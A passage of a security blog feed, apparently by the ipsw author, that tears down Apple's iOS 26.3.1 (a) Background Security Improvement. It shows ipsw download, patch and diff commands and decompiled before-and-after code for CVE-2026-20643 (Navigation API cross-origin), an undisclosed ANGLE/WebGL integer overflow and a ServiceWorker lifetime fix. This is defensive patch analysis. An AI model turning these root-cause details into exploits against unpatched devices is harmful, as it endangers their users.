is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!j9FW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!j9FW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png 424w, https://substackcdn.com/image/fetch/$s_!j9FW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png 848w, https://substackcdn.com/image/fetch/$s_!j9FW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png 1272w, https://substackcdn.com/image/fetch/$s_!j9FW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!j9FW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png" width="1272" height="562" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:562,&quot;width&quot;:1272,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:92852,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.calif.io/i/192281495?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!j9FW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png 424w, https://substackcdn.com/image/fetch/$s_!j9FW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png 848w, https://substackcdn.com/image/fetch/$s_!j9FW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png 1272w, https://substackcdn.com/image/fetch/$s_!j9FW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The versioning scheme carries over: a BSI applied on top of iOS 26.3 becomes iOS 26.3.1 (a). These are cumulative, so the next full update (say, iOS 26.4) absorbs all prior BSI fixes.</p><p>I will now show you how to analyze the BSI with <code>ipsw</code>.</p><h3>Downloading a BSI with ipsw</h3><p>Same as RSR. Use the <code>--rsr</code> flag with the prerequisite <code>--build</code>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;bada5d88-9c0c-4750-9989-fa5b59d5232a&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">&#10095; ipsw dl ota --platform ios \
              --rsr \
              --device iPhone17,1 \
              --build 23D8133 \
              --output /tmp/BSI
   &#8226; Getting iOS 26.3.1 OTA    build=23D771330a device=iPhone17,1
     encrypted=true key=ER+89JD/fR9xK0MwXhPHfkmPRMnAxBNkOF5v8nfGzk0=
     model=D93AP type=iOS2631BetaBSI
        26.50 MiB / 26.50 MiB [==============================| &#9989; ] 30.58 MiB/s</code></pre></div><p>26.5 MiB total. A full OTA is 3-17 GB. That size difference is the whole point: small, targeted patches to the cryptex volumes.</p><p>The <code>--build</code> flag is the prerequisite build (the base OS the BSI patches on top of), not the BSI build itself. Find the latest build with:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;afe62274-8e63-4003-b166-77810ff287fc&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">&#10095; ipsw download ota --platform ios --device iPhone17,1 --show-latest-build</code></pre></div><h3>Inspecting the BSI OTA</h3><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;044bab6e-521f-4fa2-b72f-da88815a9f82&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">&#10095; ipsw ota info &lt;BSI&gt;.aea

[OTA Info]
==========
Version        = 26.3.1 (a)
BuildVersion   = 23D771330a
OS Type        = SplatPreRelease
SystemOS       = 043-61970-021.dmg
AppOS          = 043-62774-021.dmg
RestoreVersion = 23.4.133.77.1,0
PrereqBuild    = 23D8133
IsRSR          = &#9989;

Devices
-------
 &gt; iPhone17,1_23D771330a</code></pre></div><p><code>PrereqBuild = 23D8133</code> tells you this is a delta on top of iOS 26.3 build <code>23D8133</code>. The <code>IsRSR</code> flag is still there because internally Apple still calls this the &#8220;Splat&#8221; system (SplatOnly in asset metadata). Two separate cryptex DMGs get patched: SystemOS for frameworks and AppOS for apps.</p><h3>What&#8217;s in the package</h3><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;deb9edce-ad1e-4896-94de-041a07cc86dd&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">&#10095; ipsw ota ls &lt;BSI&gt;.aea -V -b

AssetData/
&#9500;&#9472;&#9472; Info.plist                                          # 1.7 kB
&#9500;&#9472;&#9472; boot/
&#9474;   &#9500;&#9472;&#9472; BuildManifest.plist                             # 19 kB
&#9474;   &#9500;&#9472;&#9472; Firmware/
&#9474;   &#9474;   &#9500;&#9472;&#9472; 043-61970-021.dmg.root_hash                # 229 B
&#9474;   &#9474;   &#9500;&#9472;&#9472; 043-61970-021.dmg.trustcache               # 2.7 kB
&#9474;   &#9474;   &#9500;&#9472;&#9472; 043-62774-021.dmg.root_hash                # 229 B
&#9474;   &#9474;   &#9492;&#9472;&#9472; 043-62774-021.dmg.trustcache               # 407 B
&#9474;   &#9500;&#9472;&#9472; Restore.plist
&#9474;   &#9500;&#9472;&#9472; RestoreVersion.plist
&#9474;   &#9492;&#9472;&#9472; SystemVersion.plist
&#9500;&#9472;&#9472; payload.bom                                         # 38 kB
&#9500;&#9472;&#9472; payload.bom.signature
&#9500;&#9472;&#9472; payloadv2.bom                                       # 38 kB
&#9500;&#9472;&#9472; payloadv2.bom.signature
&#9492;&#9472;&#9472; payloadv2/
    &#9500;&#9472;&#9472; image_patches/
    &#9474;   &#9500;&#9472;&#9472; cryptex-app                                 # 39 kB
    &#9474;   &#9500;&#9472;&#9472; cryptex-app-rev                             # 39 kB
    &#9474;   &#9500;&#9472;&#9472; cryptex-system-arm64e                       # 15 MB
    &#9474;   &#9492;&#9472;&#9472; cryptex-system-arm64e-rev                   # 15 MB
    &#9500;&#9472;&#9472; data_payload                                    # 12 B
    &#9500;&#9472;&#9472; firmlinks_payload                               # 0 B
    &#9500;&#9472;&#9472; fixup.manifest
    &#9500;&#9472;&#9472; links.txt                                       # 0 B
    &#9500;&#9472;&#9472; payload.000                                     # 78 B
    &#9500;&#9472;&#9472; payload.000.ecc                                 # 123 B
    &#9500;&#9472;&#9472; payload_chunks.txt
    &#9500;&#9472;&#9472; prepare_payload                                 # 12 B
    &#9492;&#9472;&#9472; removed.txt                                     # 0 B</code></pre></div><p>Almost everything interesting is in <code>payloadv2/image_patches/. cryptex-system-arm64e</code> at 15 MB is the binary patch for the system cryptex (WebKit, Safari, system libraries). <code>cryptex-app</code> at 39 KB patches the app cryptex. The <code>-rev</code> variants are reverse patches for rolling back a BSI to the base OS state.</p><p>Under <code>boot/Firmware/</code>, the <code>.root_hash</code> and <code>.trustcache</code> files bind the patched cryptexes into the device&#8217;s Secure Boot chain via a separate <code>Cryptex1Image4</code> manifest.</p><h3>Patching the cryptex volumes</h3><p>To apply the patches and get mountable DMGs, use <code>ipsw ota patch rsr.</code> You need the base OTA&#8217;s cryptex volumes first, so download the prerequisite OTA (the 7.81 GiB one):</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;62b8456b-cf1a-4ed7-8d3d-ef8bc32c879a&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">&#10095; ipsw dl ota --platform ios --device iPhone17,1 --build 23D8133 --output /tmp/OTAs/
   &#8226; Getting iOS 26.3.1 OTA    build=23D8133 device=iPhone17,1
     encrypted=true key=P1OahXDSqR+X5Lc63VFT9JDZFtR6cHtIc+ryyJ9kuLs=
     model=D93AP type=iOS2631Long
      &#8226; URL resolved to: 17.253.27.196 (Apple Inc - Chicago, IL. United States)
        7.81 GiB / 7.81 GiB [==============================| &#9989; ] 59.81 MiB/s</code></pre></div><p>Extract the base cryptex volumes from it:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;c31a8c46-108b-4351-af56-e63ede90ea48&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">&#10095; ipsw ota patch rsr &lt;base_ota&gt;.aea --output /tmp/PATCHES/
   &#8226; Patching cryptex-app to /tmp/PATCHES/23D8133__iPhone17,1/AppOS/094-25810-058.dmg
   &#8226; Patching cryptex-system-arm64e to /tmp/PATCHES/23D8133__iPhone17,1/SystemOS/094-26339-058.dmg</code></pre></div><p>Now apply the BSI patch on top:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;80620562-77a8-4886-b813-4ffe303d48d8&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">&#10095; ipsw ota patch rsr --input /tmp/PATCHES/23D8133__iPhone17,1/ \
                      --output /tmp/PATCHES/ \
                      &lt;BSI&gt;.aea
   &#8226; Patching cryptex-app to /tmp/PATCHES/23D771330a__iPhone17,1/AppOS/043-62774-021.dmg
   &#8226; Patching cryptex-system-arm64e to /tmp/PATCHES/23D771330a__iPhone17,1/SystemOS/043-61970-021.dmg</code></pre></div><p>You now have the patched cryptex DMGs. Mount and poke around:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;0823d593-1d52-4d8b-9d38-ab3c88081695&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">&#10095; open /tmp/PATCHES/23D771330a__iPhone17,1/SystemOS/043-61970-021.dmg
&#10095; find /Volumes/*Cryptex*/ -name &#8220;dyld_shared_cache*&#8221;</code></pre></div><p>NOTE:  <code>ipsw ota patch rsr</code> requires macOS 13+ because it calls <code>RawImagePatch</code> in <code>libParallelCompression.dylib</code> to apply the binary image diffs. This is a private API I reversed with no public header.</p><h3>Diffing the BSI</h3><p>Now the fun part. I&#8217;ve updated <code>ipsw diff</code> to work directly with patched OTA directories:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;32834311-cd86-497f-be04-aa7c2061a018&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">&#10095; ipsw diff /tmp/PATCHES/23D8133__iPhone17,1 \
            /tmp/PATCHES/23D771330a__iPhone17,1 \
            --files --output /tmp/DIFF --markdown
   &#8226; Mounting patched OTA DMGs
   &#8226; Mounting &#8216;Old&#8217; patched OTA DMGs
   &#8226; Mounting AppOS DMG
      &#8226; Mounting /tmp/PATCHES/23D8133__iPhone17,1/AppOS/094-25810-058.dmg
   &#8226; Mounting SystemOS DMG
      &#8226; Mounting /tmp/PATCHES/23D8133__iPhone17,1/SystemOS/094-26339-058.dmg
   &#8226; Mounting &#8216;New&#8217; patched OTA DMGs
   &#8226; Mounting AppOS DMG
      &#8226; Mounting /tmp/PATCHES/23D771330a__iPhone17,1/AppOS/043-62774-021.dmg
   &#8226; Mounting SystemOS DMG
      &#8226; Mounting /tmp/PATCHES/23D771330a__iPhone17,1/SystemOS/043-61970-021.dmg
   &#8226; Diffing DYLD_SHARED_CACHES
   &#8226; Diffing MachOs
   &#8226; Diffing Files
   &#8226; Creating diff file Markdown README</code></pre></div><p>It mounts both sets of cryptex DMGs, diffs the <code>dyld_shared_cache</code>, individual MachOs, and the file trees, then writes a Markdown report. The full diff output is <a href="https://github.com/blacktop/ipsw-diffs/blob/main/23D8133__iPhone17,1__vs_23D771330a__iPhone17,1/README.md">on GitHub</a>.</p><p>NOTE: <code>ipsw diff</code> operates at the <strong>symbol level</strong>, not the instruction level. It reports added/removed symbols, function count changes, and section size deltas -- but it will miss changes <em>inside</em> a function whose signature didn&#8217;t change. For example, the CVE-2026-20643 fix added 46 instructions to <code>innerDispatchNavigateEvent</code> without changing its symbol name, so the diff report doesn&#8217;t flag it at all. To catch those, you need to decompile the actual functions (IDA Pro, Ghidra, or <code>ipsw dsc disass --dec</code>, for now &#128527;) and compare the pseudocode. The diff is a great starting point for triage, but it&#8217;s not the full picture.</p><p>So what did Apple actually change?</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;9a4f4802-5b6a-4b5d-927a-b4496eb29731&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">WebKit version bump
+----------------------+--------------+
|                      | Version      |
+----------------------+--------------+
| Base (23D8133)       | 623.2.7.10.4 |
| BSI (23D771330a)     | 623.2.7.110.1|
+----------------------+--------------+</code></pre></div><p>That&#8217;s the Safari/WebKit version going from <code>7623.2.7.10.4</code> to <code>7623.2.7.110.1</code>.</p><p>NOTE: Normally <code>ipsw dsc webkit --git</code> resolves a DSC&#8217;s WebKit version to the exact public git tag on <a href="https://github.com/WebKit/WebKit">github.com/WebKit/WebKit</a>, giving you a clean <code>git diff</code> between two tags. Here, neither version had an exact match and both fell back to the closest tag <code>WebKit-7623.1.14.14.11</code> from November 2025. My guess is Apple ships BSI builds from an internal branch that never gets tagged publicly. I had to find the fix commit manually (more on that below).</p><h4>Updated binaries in AppOS (6)</h4><p>All Safari-related:</p><ul><li><p><code>AuthenticationServicesAgent</code>: handles web authentication flows</p></li><li><p><code>com.apple.Safari.History</code></p></li><li><p><code>passwordbreachd</code>: checks passwords against breach databases</p></li><li><p><code>safarifetcherd</code>: prefetching/background loading</p></li><li><p><code>webbookmarksd</code>: bookmark sync daemon</p></li><li><p><code>webinspectord</code>: Web Inspector remote debugging</p></li></ul><p>Every one got the same version bump <code>7623.2.7.10.4</code> -&gt; <code>7623.2.7.110.1</code>). The changes are mostly in <code>__TEXT.__info_plist</code> sizes (a few bytes larger) and new UUIDs. The actual code sections didn&#8217;t change in these binaries, so the AppOS patch is just version metadata and plist updates.</p><h4>Updated dylibs in the dyld_shared_cache (6)</h4><p>The <code>dyld_shared_cache</code> is where the actual code changes live. Six dylibs changed:</p><ol><li><p><code>WebCore</code></p></li><li><p><code>libANGLE-shared.dylib</code></p></li><li><p><code>WebGPU</code></p></li><li><p><code>ProductKit</code></p></li><li><p><code>ProductKitCore</code></p></li><li><p><code>SettingsFoundation.</code></p></li></ol><p>I opened both DSC versions in IDA Pro (using <code>open_dsc</code> to load individual modules) and decompiled the changed functions.</p><h3>CVE-2026-20643: Navigation API Same-Origin bypass</h3><p>Apple&#8217;s <a href="https://support.apple.com/en-us/126604">security advisory</a> describes one fix:</p><blockquote><p><strong>WebKit</strong> -- A cross-origin issue in the Navigation API was addressed with improved input validation.</p><p>CVE-2026-20643 -- Thomas Espach</p></blockquote><p>The Navigation API <code>window.navigation</code>) lets JavaScript intercept and control navigations within a page. The property that matters here is <code>NavigateEvent.canIntercept</code> because it tells a script whether it&#8217;s allowed to intercept a given navigation. <a href="https://html.spec.whatwg.org/multipage/nav-history-apis.html#can-have-its-url-rewritten">The spec</a> says it should be false when the document URL and target URL differ in scheme, username, password, host, or port.</p><h4>The source fix</h4><p>Since WebKit is open source, I tracked down the public trail:</p><ul><li><p><strong>PR:</strong> <a href="https://github.com/WebKit/WebKit/pull/58094">WebKit/WebKit#58094</a> -- <em>&#8220;NavigationEvent#canIntercept is true when navigating to a different port&#8221;</em></p></li><li><p><strong>Bugzilla:</strong> <a href="https://bugs.webkit.org/show_bug.cgi?id=307197">Bug 307197</a> -- reported by Dom Christie on 2026-02-06, fixed by Ahmad Saleem</p></li><li><p><strong>Commit:</strong> <a href="https://commits.webkit.org/307316@main">850ce3163e55</a></p></li><li><p><strong>Shipped in:</strong> Safari Technology Preview 238</p></li></ul><p>Apple&#8217;s CVE advisory references a different bug number (Bugzilla #306050, which is private). Bug 307197 is either the public duplicate or the upstream report that the security-track bug was filed against.</p><p>The fix is in <code>Source/WebCore/page/Navigation.cpp</code>, function <code>documentCanHaveURLRewritten()</code>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;cpp&quot;,&quot;nodeId&quot;:&quot;e7648d81-1e5f-4aff-ae43-e1b1a08620a6&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-cpp"> static bool documentCanHaveURLRewritten(const Document&amp; document, const URL&amp; targetURL)
 {
     // ...existing isSameSite and isSameOrigin checks...
     if (!isSameSite &amp;&amp; !isSameOrigin)
         return false;
+    // https://html.spec.whatwg.org/multipage/nav-history-apis.html#can-have-its-url-rewritten
+    if (documentURL.protocol() != targetURL.protocol()
+        || documentURL.user() != targetURL.user()
+        || documentURL.password() != targetURL.password()
+        || documentURL.host() != targetURL.host()
+        || documentURL.port() != targetURL.port())
+        return false;
+
     if (targetURL.protocolIsInHTTPFamily())
         return true;</code></pre></div><p>You might wonder: doesn&#8217;t <code>isSameOriginAs</code> already check the port? It does. <a href="https://github.com/WebKit/WebKit/blob/main/Source/WebCore/page/SecurityOrigin.cpp">Looking at the source</a>, <code>isSameOriginAs()</code> calls <code>isSameSchemeHostPort()</code>, which compares scheme, host, and port.</p><p>The problem is the boolean logic <em>upstream</em> of this function. The caller in <code>documentCanHaveURLRewritten()</code> combined both checks with <strong>AND</strong>: <code>if (!isSameSite &amp;&amp; !isSameOrigin) return false</code>. Since <code>localhost:3000</code> and <code>localhost:3001</code> share the same registrable domain and scheme, isSameSiteAs returns true. That short-circuits the AND so the <code>isSameOriginAs</code> result never matters. The function falls straight through to return true for any HTTP URL.</p><h4>Confirming in the binary</h4><p>I confirmed this by decompiling <code>WebCore::Navigation::innerDispatchNavigateEvent</code> (at <code>0x1a1307304</code>) from both DSC versions in IDA Pro.</p><p>The base version calls two origin checks joined by AND:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;cpp&quot;,&quot;nodeId&quot;:&quot;60c85edf-995a-40fa-9433-dd9897856a14&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-cpp">// BASE innerDispatchNavigateEvent (23D8133 DSC)
isSameSiteAs = SecurityOrigin::isSameSiteAs(docOrigin, navOrigin);
isSameOriginAs = SecurityOrigin::isSameOriginAs(docOrigin, navOrigin);
if ((isSameSiteAs &amp; 1) == 0 &amp;&amp; !isSameOriginAs)
    isCrossOrigin = true;  // only blocked if BOTH fail</code></pre></div><p>The patched version drops isSameSiteAs and adds explicit URL component comparison instead:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;cpp&quot;,&quot;nodeId&quot;:&quot;a85470b7-af3a-433e-ace6-7ef5661e27a2&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-cpp">// PATCHED innerDispatchNavigateEvent (23D771330a DSC)
if (SecurityOrigin::isSameOriginAs(docOrigin, navOrigin)) {
    docHost = URL::host(documentURL);
    navHost = URL::host(targetURL);
    if (String::equal(docHost, navHost)) {
        docPort = URL::port(documentURL);
        navPort = URL::port(targetURL);
        isCrossOrigin = !String::equal(docPort, navPort);
    } else {
        isCrossOrigin = true;
    }
} else {
    isCrossOrigin = true;
}</code></pre></div><p>The function grew by 46 ARM64 instructions (1243 -&gt; 1289). The <code>isSameSiteAs</code> call was deleted entirely.</p><p>What does this mean in practice? A page on <code>http://localhost:3000</code> could intercept navigations targeting <code>http://localhost:8080</code>. These are different ports and origins but WebKit lets it through. In a shared-hosting or multi-tenant setup, that&#8217;s cross-origin state manipulation.</p><h3>What Apple didn&#8217;t disclose</h3><p>The CVE covers the Navigation API fix. But this BSI also shipped two other changes that aren&#8217;t in the advisory &#128578;.</p><h4>WebGL integer overflow in ANGLE</h4><p><code>libANGLE-shared.dylib</code> (Apple&#8217;s Metal-backed ANGLE for OpenGL ES) changed the <code>ProvokingVertexHelper::generateIndexBuffer</code> and preconditionIndexBuffer methods. The parameter types narrowed from <code>size_t</code> (64-bit) to <code>int/unsigned int</code> (32-bit), and both functions grew in size <code>generateIndexBuffer</code> went from 680 to 772 bytes per IDA; <code>preconditionIndexBuffer</code> grew similarly per the symbol diff).</p><p>I decompiled <code>generateIndexBuffer</code> from both DSC versions in IDA Pro. Here&#8217;s the relevant section, side by side.</p><p><strong>Base </strong>(<code>23D8133</code>, <code>size_t</code> parameters, no overflow check):</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;71224eaa-7856-4a22-9133-1e6c8fb89e80&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">LODWORD(v18) = a4 &amp; ~(a4 &gt;&gt; 31);
v36 = v18;
v20 = 2 * v18;   // index count &#8212; no overflow check
// ... v20 flows directly into buffer allocation size</code></pre></div><p><strong>Patched</strong> <code>23D771330a</code>, <code>int</code> parameters, overflow guard added):</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;35af37c3-e50d-4513-a139-adff3a37e0d0&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">LODWORD(v34) = a4;
v20 = 2LL * a4;    // widen to 64-bit before multiply
v35 = v20;
// ... then before using the result:
if (HIDWORD(v20))  // upper 32 bits non-zero &#8594; overflow
{
    handleError(a2, GL_INVALID_OPERATION,
        &#8220;Integer overflow.&#8221;,
        &#8220;.../ProvokingVertexHelper.mm&#8221;,
        &#8220;generateIndexBuffer&#8221;, 217);
    return 1;
}</code></pre></div><p>In the base version, <code>2 * vertexCount</code> uses <code>size_t </code>arithmetic so a large enough input wraps silently and the buffer allocation comes out too small. After the fix, the multiply widens to 64-bit first <code>2LL * a4</code>), then checks the upper 32 bits. Non-zero means overflow, and the function bails with <code>GL_INVALID_OPERATION</code> instead of allocating a short buffer.</p><p>In the Metal rendering path, an undersized index buffer means an out-of-bounds GPU read during WebGL draw calls. The new assertion strings (<code>generateIndexBuffer</code>&#8221;, <code>preconditionIndexBuffer</code>&#8221;, and the ANGLE source path) confirm this was an intentional hardening pass, not just a type cleanup.</p><h4>ServiceWorker registration lifetime hardening</h4><p><code>WebCore</code> dropped 6 functions and 14 symbols, all in the ServiceWorker server implementation:</p><ul><li><p><code>HashMap&lt;ProcessQualified&lt;UUID&gt;</code>, <code>WeakRef&lt;SWServerRegistration&gt;&gt;</code> replaced with HashMap&lt;..., <code>Ref&lt;SWServerRegistration&gt;&gt;</code> (weak -&gt; strong references)</p></li><li><p><code>SWServerRegistration</code> changed from <code>RefCountedAndCanMakeWeakPtr</code> to plain <code>RefCounted</code> (weak pointer support removed)</p></li><li><p><code>SWServerJobQueue::cancelJobsFromServiceWorker</code> removed entirely</p></li><li><p>Several hash map lookup/removal helpers for <code>ProcessQualified&lt;UUID&gt;</code> maps were removed</p></li></ul><p>With the <code>WeakRef</code>-<code>Ref</code> change, the server&#8217;s registration map holds a strong reference to each <code>SWServerRegistration</code>, so the registration can&#8217;t be deallocated while something still points at it. The <code>cancelJobsFromServiceWorker</code> removal suggests the job cancellation logic moved elsewhere. This is the kind of change you make when weak references can dangle in a concurrent context.</p><p>Unlike the Navigation API fix, this change hasn&#8217;t landed on <a href="https://github.com/WebKit/WebKit/blob/main/Source/WebCore/workers/service/server/SWServerRegistration.h">public WebKit main</a>; as of this writing, <code>SWServerRegistration</code> still inherits from <code>RefCountedAndCanMakeWeakPtr</code>, <code>m_scopeToRegistrationMap</code> still uses <code>WeakRef</code>, and <code>cancelJobsFromServiceWorker</code> still exists. This is an Apple-internal patch, visible only in the BSI binary. The evidence here comes entirely from symbol-level diffing and decompilation, not source.</p><h4>Non-security changes</h4><p><code>ProductKit</code> and <code>ProductKitCore</code> both went <em>down</em> in version <code>129.400.11.2.4</code> -&gt; <code>129.400.11.2.2</code>), removed device model strings for unannounced hardware (Mac17,6-Mac17,9; iPad16,8-iPad16,11), and got slightly smaller. These were likely pulled into the BSI as dependencies of the WebKit rebuild.</p><p><code>SettingsFoundation</code> removed the <code>_SFDeviceSupportsRFExposure2026OrLater</code> function and associated <code>RF_INTRO_IPHONE_2026</code>&#8221; string. RF exposure regulatory check removed or consolidated elsewhere.</p><p><code>WebGPU</code> gained one new symbol <code>Vector&lt;pair&lt;AST::Function*, String&gt;&gt;::expandCapacity</code>). This is a template instantiation pulled in by the WebKit rebuild, not a functional change.</p><h4>File changes</h4><p>Only <code>.fseventsd</code> journal entries rotated. No actual filesystem content was added or removed.</p><h3>Conclusion</h3><p>Apple&#8217;s first BSI shipped one fix for CVE-2026-20643 and two they didn&#8217;t mention. The CVE fix was a six-line fix to a URL component comparison that the spec already required. It is the kind of bug where you read the spec, read the code, and wonder how it shipped without the check. The ANGLE integer overflow and ServiceWorker lifetime hardening are arguably more interesting: one is a WebGL-reachable memory safety issue, the other plugs a dangling-reference hole in a concurrent subsystem. Neither made the advisory.</p><p>The BSI delivery itself worked as advertised. 26.5 MiB, two cryptex DMGs, no user interaction. If you want to do this kind of teardown yourself: <code>ipsw ota patch rsr</code> gets you mountable DMGs, <code>ipsw diff</code> gives you the symbol-level triage, and IDA on the extracted DSC modules gets you pseudocode to confirm what actually changed. The full diff is <a href="https://github.com/blacktop/ipsw-diffs/blob/main/23D8133__iPhone17,1__vs_23D771330a__iPhone17,1/README.md">on GitHub</a>.</p><p><em>&#8212;blacktop</em></p>]]></content:encoded></item><item><title><![CDATA[Taking Apart iOS Apps: Anti-Debugging and Anti-Tampering in the Wild]]></title><description><![CDATA[Table Of Contents]]></description><link>https://blog.calif.io/p/taking-apart-ios-apps-anti-debugging</link><guid isPermaLink="false">https://blog.calif.io/p/taking-apart-ios-apps-anti-debugging</guid><dc:creator><![CDATA[Calif]]></dc:creator><pubDate>Tue, 17 Mar 2026 18:22:08 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!ICQe!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b29dd2-0b00-49e5-b2af-4660a306e76d_1442x488.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Table Of Contents</strong></p><ol><li><p><a 